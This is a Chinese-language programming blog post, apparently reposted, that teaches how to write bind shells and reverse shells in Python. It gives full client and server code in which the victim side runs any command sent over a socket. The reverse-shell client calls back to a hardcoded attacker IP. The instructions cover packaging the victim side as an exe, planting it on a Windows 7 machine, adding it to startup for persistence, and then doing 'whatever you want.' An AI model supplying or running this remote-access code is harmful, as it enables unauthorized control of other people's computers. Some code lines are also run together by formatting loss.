为了账号安全,请及时绑定邮箱和手机立即绑定

python shell与反弹shell

标签:
Python

正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接

反弹shell,攻击端是服务端,被攻击端是客户端
正常shell,攻击端是客户端,被攻击端是服务端 

反弹shell,先启用服务端,再启用客户端

反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)

shell:

客户端: 

复制代码

import socket
s=socket.socket()
s.connect(("192.168.0.114",1234))   #连接的服务器的ip地址,端口for i in range(10):
    com=input("command:")
    s.send(com.encode())     #发送信息
    d=s.recv(1024)           #接受数据的大小
    print(d.decode(),len(d))

复制代码

服务端: 

复制代码

#服务器端import socketimport os
s=socket.socket()   #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.bind(('0.0.0.0',1234))    #绑定地址和端口#0.0.0.0接收任意客户端ip连接s.listen(5)                 #调用listen方法开始监听端口,传入的参数为等待连接的最大数量con,addr=s.accept()     #接受一个客户端的连接#print(con,addr)for i in range(10):
    cmd=con.recv(1024)    print(cmd)
    command=cmd.decode()    if command.startswith("cd"):
        os.chdir(command[2:].strip())   #切换路径
        result=os.getcwd()      #显示路径
    else:
        result=os.popen(command).read()    if result:
        con.send(result.encode())    else:
        con.send(b"OK!")

复制代码

测试:(客户端(win10)、服务端(win7))

1.把服务端打包成exe文件,然后在win7运行打包好的exe文件,python打包成exe文件这里推荐pyinstaller模块(需要安装,安装方法不会的百度)

打包成exe文件时最好打包成文件夹,如何打包成单个exe文件,在win7中运行可能会出题。下图就是打包的文件夹,双击运行图中exe文件

  

2.在win10运行客户端

  

反弹shell:

客户端: 

复制代码

#反弹shell,攻击端是服务端,被攻击端是客户端#正常shell,攻击端是客户端,被攻击端是服务端#例:攻击端(win10),被攻击端(win7),正常shell,先在win7启动服务端,再在win10启用客户端#   反弹shell,先在win10启用服务端,再在win7启用客户端#   反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)#   正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接    import socketimport osimport sysimport time#print(sys.argv)#hacker=sys.argv[1]hacker="192.168.0.144"port=1234server=(hacker,port)
s=socket.socket()
s.connect(server)while 1:    # 得到被攻击端的所在目录,并发送
    dir=os.getcwd()    #print(dir)    s.send(dir.encode())    # 接收来自攻击端(服务器端)的命令,并进行处理
    cmd=s.recv(1024).decode()    # 对接收的命令做出判断
    # 退出
    if cmd=="exit":        break
    elif cmd.startswith("cd"):
        os.chdir(cmd[2:].strip())
        result="切换目录成功!"
    else:
        result=os.popen(cmd).read()    if not result:
        result="命令执行完毕!"
    
    s.send(result.encode())
    time.sleep(1)
    
s.close()print("退出!")

复制代码

服务端: 

复制代码

import socketimport time
server=("0.0.0.0",1234)
s=socket.socket()
s.bind(server)
s.listen(5)
con,addr=s.accept()print(addr,"已经接入!")while 1:    #接收来自被攻击端的所在目录
    dir=con.recv(1024).decode()
    cmd=input(dir+":").strip()
    con.send(cmd.encode())    if cmd=="exit":        break
    result=con.recv(65365)    print(result.decode())
    time.sleep(1)
s.close()print("退出!")

复制代码

测试:

1.先在win10运行反弹shell服务端

2.再把反弹shell客户端打包成exe文件夹,复制到win7中,然后双击运行

3.这时可以看到服务端(win10)已经和客户端(win7)连接上了。#只要服务端一直运行,如果把客户端的程序加入到开机自启,这样客户端已开启就被连接到服务端  

 4.接下就可以为所欲为了  

作者:雨中落叶

原文出处:https://www.cnblogs.com/yuzly/p/10473497.html  


点击查看更多内容
TA 点赞

若觉得本文不错,就分享一下吧!

评论

作者其他优质文章

正在加载中
  • 推荐
  • 评论
  • 收藏
  • 共同学习,写下你的评论
感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦
今天注册有机会得

100积分直接送

付费专栏免费学

大额优惠券免费领

立即参与 放弃机会
意见反馈 帮助中心 APP下载
官方微信

举报

0/150
提交
取消